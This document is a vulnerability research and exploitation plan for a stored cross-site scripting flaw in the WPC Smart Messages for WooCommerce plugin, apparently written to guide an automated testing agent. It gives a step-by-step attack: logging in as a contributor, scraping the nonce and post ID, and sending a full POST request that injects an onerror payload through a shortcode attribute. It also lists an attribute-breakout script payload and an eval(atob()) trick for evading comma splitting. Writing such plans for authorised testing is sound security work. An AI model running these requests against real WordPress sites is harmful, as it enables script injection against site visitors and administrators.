Vulnerability Research Plan: CVE-2026-6725 (WPC Smart Messages Stored XSS)

1. Vulnerability Summary

The WPC Smart Messages for WooCommerce plugin (<= 4.2.8) is vulnerable to Stored Cross-Site Scripting (XSS) via the text attribute of the [wpcsm_text_rotator] shortcode. The plugin fails to sanitize or escape the user-supplied content of this attribute before rendering it on the page. This allows an authenticated attacker with Contributor-level permissions or higher to embed malicious scripts into posts or pages, which will execute in the context of any user viewing the content.

2. Attack Vector Analysis

• Endpoint: WordPress Post/Page Editor (standard wp-admin/post.php or wp-admin/post-new.php).
• Shortcode: [wpcsm_text_rotator]
• Vulnerable Parameter: The text attribute within the shortcode.
• Authentication: Required (Contributor role or higher).
• Preconditions: WooCommerce must be installed and active (plugin dependency).

3. Code Flow

1. Registration: In includes/class-shortcode.php, the init() method registers the shortcode:

   add_shortcode( 'wpcsm_text_rotator', [ $this, 'text_rotator' ] );
   

2. Processing: When a page containing the shortcode is rendered, WordPress calls the text_rotator($attrs) method in Wpcsm_Shortcode (found in includes/class-shortcode.php).
3. Handling Attributes: The function extracts attributes, including text.
4. Splitting Logic (Inferred): Based on the plugin's description in self::$shortcodes, the text attribute is split by commas:
   "text split by a comma"
5. The Sink (Inferred): The code likely loops through the split strings and returns them wrapped in HTML tags without calling esc_html() or esc_attr().

   // Likely vulnerable logic:
   $texts = explode(',', $atts['text']);
   foreach($texts as $t) {
       $output .= '<div class="wpcsm-text-item">' . $t . '</div>'; // SINK: Unescaped variable $t
   }
   

4. Nonce Acquisition Strategy

This vulnerability is exploited by saving a standard WordPress post/page. There is no specific plugin-level nonce for the shortcode rendering itself, but a standard WordPress _wpnonce is required to save a post.

Strategy for the Automated Agent:

1. Log in to the WordPress dashboard as a Contributor.
2. Navigate to wp-admin/post-new.php.
3. Extract the _wpnonce and post_ID from the HTML form.
   • Nonce Location: input[name="_wpnonce"]
   • Post ID Location: input[name="post_ID"]
4. Use these to send the editpost request via http_request.

5. Exploitation Strategy

The exploit involves creating a post with a malicious shortcode attribute.

Step-by-Step Plan:

1. Login: Authenticate as a Contributor.
2. Identify Target: Access wp-admin/post-new.php to obtain a post_ID (WordPress creates an auto-draft).
3. Craft Payload:
   • The payload must avoid commas (as the plugin splits by comma).
   • Payload: <img src=x onerror=alert(document.domain)>
   • Full Shortcode: [wpcsm_text_rotator text="<img src=x onerror=alert(document.domain)>"]
4. Submit Injection: Send an HTTP POST request to wp-admin/post.php.

HTTP Request Details (Example):

POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=editpost&
_wpnonce=[EXTRACTED_NONCE]&
post_ID=[POST_ID]&
post_title=Test+XSS&
post_type=post&
content=%5Bwpcsm_text_rotator+text%3D%22%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E%22%5D&
publish=Publish

6. Test Data Setup

1. Install WooCommerce: Ensure WooCommerce is installed and active.
2. Create User:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password
   

3. Verify Plugin Version: Ensure wpc-smart-messages version is <= 4.2.8.

7. Expected Results

• When the post is saved, the database will store the shortcode literally.
• When an administrator or any visitor navigates to the published post's URL, the browser will receive the raw <img src=x onerror=alert(document.domain)> tag inside the text rotator container.
• An alert box displaying the document domain will appear.

8. Verification Steps

1. Database Check: Verify the shortcode is stored.

   wp post get [POST_ID] --field=post_content
   

2. Response Body Check: Fetch the frontend URL of the post and search for the unescaped payload.

   # Use the agent to fetch the page and check for:
   # <img src=x onerror=alert(document.domain)>
   

9. Alternative Approaches

• Attribute Breakout: If the animation attribute is also unescaped, try breaking out of the data-animation attribute:
  [wpcsm_text_rotator animation='"><script>alert(1)</script>' text='test']
• Smart Messages CPT: Check if the plugin allows Contributors to create "Smart Messages" via the wpcsm_message custom post type. If so, inject the shortcode directly into the Message field (includes/class-backend.php:878).
• Complex Payloads: If complex JS is needed (which requires commas), use eval(atob('...')) to bypass the explode(',', ...) logic.